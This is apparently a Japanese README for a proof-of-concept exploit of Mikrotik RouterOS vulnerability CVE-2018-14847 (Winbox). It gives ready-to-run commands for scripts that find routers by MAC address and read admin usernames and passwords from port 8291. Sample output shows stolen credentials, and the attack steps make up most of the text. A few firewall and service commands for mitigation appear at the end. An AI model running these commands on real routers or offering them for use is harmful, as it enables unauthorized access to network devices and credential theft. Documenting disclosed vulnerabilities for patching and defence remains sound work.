Mikrotik ログインエクスプロイト

Mikrotik の脆弱性 CVE-2018-14847（特に winbox）の PoC（Proof of Concept）で、RouterOS のデフォルトポート 8291 からパスワードを直接読み取ります。

要件

apt install python3

python3 WinboxExploit.py <IP-ADDRESS> [PORT]

例:

$ python3 WinboxExploit.py 192.168.1.1
Connected to 192.168.1.1:8291
Exploit successful
User: admin
Pass: oppaidaisuki123

このスクリプトは IP アドレスがなくても使用できます。

ルーターのスキャンには MACServerDiscovery.py を使用します。

python3 MACServerDiscover.py

例:

$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

エクスプロイト:

python3 MACServerExploit.py <MAC-ADDRESS>

例:

$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: oppaidaisuki123

2015-05-28 から 2018-04-20 までの RouterOS リリース

RouterOS のバージョン:

/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

/tool mac-server mac-winbox